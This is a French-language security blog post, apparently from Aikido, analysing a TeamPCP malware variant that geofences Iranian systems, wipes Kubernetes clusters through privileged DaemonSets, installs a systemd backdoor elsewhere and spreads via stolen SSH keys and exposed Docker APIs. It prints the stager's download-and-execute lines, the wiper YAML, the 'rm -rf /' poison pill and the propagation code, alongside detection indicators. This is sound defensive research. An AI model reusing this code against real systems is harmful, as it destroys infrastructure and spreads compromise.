Aikido

CanisterWorm prend du mordant : Le wiper Kubernetes de TeamPCP cible l'Iran

Écrit par
Charlie Eriksen

Nous avons découvert une nouvelle charge utile dans l'arsenal de TeamPCP, et celle-ci ne se contente pas de voler des identifiants ou d'installer des backdoors. Elle efface des clusters Kubernetes entiers.

Le script utilise le même canister ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que nous avons documenté dans la campagne CanisterWorm. Même C2, même code de backdoor, même /tmp/pglog chemin de dépôt. Le mouvement latéral natif de Kubernetes via les DaemonSets est cohérent avec le playbook connu de TeamPCP, mais cette variante ajoute quelque chose que nous n'avions pas vu auparavant de leur part : une charge utile destructive ciblée géopolitiquement et spécifiquement dirigée contre les systèmes iraniens.

Détails de haut niveau

Étant donné que l'article de blog contient de nombreux détails techniques, voici un résumé des observations les plus importantes que nous avons faites :

  • 🐙 Même canister C2 ICP que CanisterWorm (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 Le payload vérifie le fuseau horaire et les paramètres régionaux pour identifier les systèmes iraniens
  • ☸️ Sur Kubernetes : déploie des DaemonSets privilégiés sur chaque nœud, y compris le plan de contrôle
    • 💀 Les nœuds iraniens sont effacés et redémarrés de force via un conteneur nommé kamikaze
    • 🔒 Les nœuds non-iraniens se voient installer la backdoor CanisterWorm en tant que service systemd
  • 💣 Les hôtes iraniens non-K8s reçoivent rm -rf / --no-preserve-root
  • 🐘 Persistance déguisée en outils PostgreSQL : pglog, pg_state, internal-monitor
  • 🔄 Plusieurs domaines de tunnel Cloudflare observés en rotation comme infrastructure de livraison de payload
  • 🪱 La dernière variante ajoute un mouvement latéral basé sur le réseau
    • 🔑 Propagation SSH via des clés volées et l'analyse des journaux d'authentification
    • 🐳 Exploite les API Docker exposées sur le port 2375 à travers le sous-réseau local

Le stager

Au début, nous l'avons observé pointant simplement vers https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , qui contenait une charge utile unique. Plus tard, il a divisé la charge utile en deux fichiers, comme illustré ci-dessous.

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

Ce que l'on peut voir, c'est qu'il télécharge kubectl s'il n'est pas déjà installé. Ensuite, il télécharge kube.py depuis le même hôte, et l'exécute, avant de s'auto-supprimer. Le code réellement intéressant est contenu à l'intérieur. Voici les dernières lignes du script, qui décrivent clairement l'intention du code, que nous allons détailler davantage :

si __name__ == "__main__":
    si is_k8s() :
        si is_iran():
            deploy_destructive_ds()
        sinon:
            deploy_std_ds()
    sinon:
        si is_iran():
            poison_pill()
        sys.exit(1)

Comment il choisit sa cible

La première chose que fait la charge utile est de déterminer où elle s'exécute. Deux vérifications :

def is_k8s():
    return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \
           "KUBERNETES_SERVICE_HOST" dans os.environ

Détection standard de pod Kubernetes. Chaque pod se voit monter un compte de service par défaut.

Ensuite, ceci :

def is_iran():
    tz = ""
    if os.path.exists("/etc/timezone"):
        avec open("/etc/timezone", "r") as f :
            tz = f.read().strip()
    sinon:
        try:
            tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", « --value »], 
                                         stderr=subprocess.DEVNULL).decode().strip()
        sauf si:
            pass
    
    lang = os.environ.get("LANG", "")
    return tz dans [« Asia/Tehran », « Iran »] ou « fa_IR » dans lang

Il vérifie le fuseau horaire et les paramètres régionaux du système. Si la machine est configurée pour l'Iran (Asia/Tehran, Iran, ou fa_IR), la charge utile emprunte un chemin très différent.

Quatre chemins, un script

L'arbre de décision est simple et brutal :

  • Kubernetes + Iran: Déploie un DaemonSet qui efface chaque nœud du cluster
  • Kubernetes + ailleurs: Déploie un DaemonSet qui installe la backdoor CanisterWorm sur chaque nœud
  • Pas de Kubernetes + Iran: rm -rf / --no-preserve-root
  • Pas de Kubernetes + ailleurs: Quitte. Rien ne se passe.

L'effaceur : "kamikaze"

Le DaemonSet ciblant l'Iran est nommé host-provisioner-iran. Le conteneur à l'intérieur est nommé kamikaze. Ce n'est pas subtil.

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

Le DaemonSet monte le système de fichiers racine de l'hôte sur /mnt/host, supprime tout au niveau supérieur, puis force un redémarrage. Puisqu'il s'agit d'un DaemonSet avec tolerations: [operator: Exists], il est planifié sur chaque nœud du cluster, y compris le plan de contrôle. Une seule kubectl apply et l'ensemble du cluster est mis hors service.

Le chemin de persistance

Pour les cibles non iraniennes, le DaemonSet (host-provisioner-std) est moins spectaculaire mais plus utile sur le plan opérationnel. Il écrit la backdoor CanisterWorm sur chaque nœud et l'enregistre comme un service systemd :

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

La backdoor est la même que celle que nous avons documentée dans l'article sur CanisterWorm. Elle interroge le canister ICP toutes les 50 minutes pour une URL binaire, télécharge et exécute ce qui lui est indiqué. Le youtube[.]com kill switch est toujours présent.

La « pilule empoisonnée »

Pour les systèmes iraniens non-Kubernetes, l'approche est plus rudimentaire :

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

Si c'est root, il efface le système. Sinon, il tente un sudo sans mot de passe, puis essaie quand même. Même sans les privilèges root, il détruira tout ce qui appartient à l'utilisateur.

Pourquoi cela est important

TeamPCP est documenté comme un acteur de menace cloud-native depuis fin 2025, ciblant les API Docker mal configurées, les clusters Kubernetes et les pipelines CI/CD. Leur modus operandi (empreinte environnementale, branchement spécifique à Kubernetes) est resté cohérent. Cependant, le compromis de Trivy et la campagne CanisterWorm ont montré qu'ils pouvaient opérer à l'échelle de la chaîne d'approvisionnement, et cette charge utile démontre qu'ils sont prêts à être destructeurs quand ils le souhaitent.

Ce qu'il faut rechercher

Vérifiez la présence de DaemonSets dans kube-system que vous n'avez pas créés :

kubectl get ds -n kube-system

Recherchez host-provisioner-iran ou host-provisioner-std. Auditez également tout DaemonSet qui monte hostPath: / avec un contexte de sécurité privilégié. Cette combinaison ne devrait jamais apparaître en dehors des agents de niveau infrastructure comme le kubelet lui-même.

Côté hôte, vérifiez la présence de :

  • Un service systemd appelé internal-monitor (systemctl status internal-monitor)
  • Fichiers à /var/lib/svc_internal/runner.py
  • Processus nommés pglog dans /tmp/
  • Connexions sortantes vers icp0[.]io domaines

Mise à jour : Il se propage maintenant

Une troisième itération du payload vient d'apparaître, hébergée à https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Même backdoor de canister ICP, même wiper iranien, mais celui-ci n'a pas besoin de Kubernetes. Il se propage de lui-même.

Les versions précédentes s'appuyaient sur des DaemonSets pour se déplacer à travers un cluster. Cette variante abandonne entièrement cette approche et la remplace par deux méthodes de mouvement latéral : le vol de clés SSH et l'exploitation d'API Docker exposées. Elle scanne également le sous-réseau local /24 à la recherche de nouvelles cibles.

Voici comment il trouve les machines à cibler :

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

Il analyse /var/log/auth.log et /var/log/secure pour les connexions SSH réussies, en extrayant à la fois le nom d'utilisateur et l'adresse IP source. Ceux-ci deviennent des paires de propagation ciblées. Pour toute IP qu'il trouve sur le sous-réseau et qui ne figurait pas dans les journaux d'authentification, il se rabat sur la tentative de root, ubuntu, administrateur, et ec2-user.

Ensuite, il récupère toutes les clés privées SSH qu'il peut trouver :

keys = []
ssh_base = os.path.expanduser("~/.ssh")
for t in [« id_rsa », « id_ed25519 », « id_ecdsa »] :
    p = os.path.join(ssh_base, t)
    si os.path.exists(p): keys.append(p)

Pour chaque cible, il vérifie deux ports. Le port 22 est utilisé pour la propagation SSH :

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", « PasswordAuthentication=no »,
       "-o", « ConnectTimeout=5 », « -i », k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

Le port 2375 est exploité via l'API Docker, créant un conteneur privilégié avec la racine de l'hôte montée :

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

Les deux chemins déploient le même get_remote_logic() payload, qui exécute la vérification du fuseau horaire iranien sur l'hôte distant. Les cibles iraniennes sont effacées, toutes les autres reçoivent le pgmon.py backdoor installée en tant que service systemd.

Le wiper lui-même a changé. Les versions précédentes utilisaient rm -rf / --no-preserve-root sur les hôtes non-K8s, tandis que la variante DaemonSet utilisait find / -maxdepth 1 ... -exec rm -rf {} + avec un redémarrage forcé. Cette version se standardise sur l' find approche avec reboot -f sur l'ensemble des systèmes :

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

Cela provient directement des outils précédents de TeamPCP proxy.sh et pcpcat.py où ils scannaient les API Docker exposées et diffusaient des clés SSH sur les sous-réseaux. La différence est que ces outils étaient des scripts autonomes de construction d'infrastructure. Celui-ci intègre le backdoor CanisterWorm et le wiper Iran.

Quelques autres changements par rapport aux versions précédentes : le nom du service est passé de internal-monitor à pgmonitor, le chemin d'installation est passé de /var/lib/svc_internal/ à /var/lib/pgmon/, et la description systemd est maintenant "Postgres Monitor Service". Le camouflage PostgreSQL devient plus cohérent.

Indicateurs de compromission

Réseau

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (point de chute C2 de canister ICP)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (livraison de charge utile, première)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (livraison de charge utile, seconde)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (livraison de charge utile, troisième)

Kubernetes

  • DaemonSet host-provisioner-iran dans kube-system
  • DaemonSet host-provisioner-std dans kube-system
  • Noms de conteneurs : kamikaze, provisioner

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Service Systemd : pgmonitor (Description : "Postgres Monitor Service")
  • Service Systemd : internal-monitor

Indicateurs de mouvement latéral

  • Connexions SSH sortantes avec StrictHostKeyChecking=no depuis des hôtes compromis
  • Connexions sortantes vers le port 2375 (API Docker) à travers le sous-réseau local
  • Conteneurs Alpine privilégiés créés via une API Docker non authentifiée avec hostPath: / montage bind

... Histoire en cours. Restez à l'écoute pour les mises à jour.

Partager :

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

Démarrez gratuitement dès aujourd'hui.

Commencer gratuitement
Sans carte bancaire

Abonnez-vous pour les actualités sur les menaces.

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.